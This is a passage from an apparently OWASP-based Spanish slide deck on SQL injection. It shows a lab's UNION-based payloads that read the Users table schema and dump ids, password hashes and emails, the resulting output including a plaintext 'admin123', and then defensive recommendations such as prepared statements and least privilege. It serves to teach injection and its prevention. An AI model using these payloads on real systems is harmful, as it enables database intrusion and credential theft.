![Page 69: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/69.jpg)
Lab #7
XXX' )) union select 1,sql,sql,4,5,6,7,8 FROM sqlite_masterWHERE tbl_name = 'Users' AND type = 'table' ; --
![Page 70: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/70.jpg)
Lab #7
XXX' )) union select id,password,email,4,5,6,7,8 FROM Users ; --
![Page 71: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/71.jpg)
Lab #7
0192023a7bbd73250516f069df18b500 [email protected] admin123 e541ca7ecf72b8d1286474fc613e5e45 [email protected] ncc-17010c36e517e3fa95aabf1bbffc6744a4ef [email protected] ??????448af65cf28e8adeab7ebb1ecff66f15 [email protected] [email protected] [email protected]
![Page 72: SQL INJECTION DEEP DIVE - owasp.org · PDF file•Puede permitir full access a bases de datos, usuarios o OS ... •Este tipo de ataques incluye llamadas al sistema operativo, llamadas](https://reader031.vdocuments.site/reader031/viewer/2022021510/5ab8b87c7f8b9ad5338d2c00/html5/thumbnails/72.jpg)
A1 – Evitando Inyecciones
• Evitar el acceso al Interprete
• Utilizar interfaces que utilice bind variables (como prepared statements, o stored procedures),
• Bind variables permite al interprete distinguir entre código y datos
• Codificar los inputs de usuario antes de pasarlos al interprete
• “White list” para los datos del usuario (cuando se pueda)
• Utilizar siempre privilegios mínimos en la BD
Recomendaciones
• https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
Referencias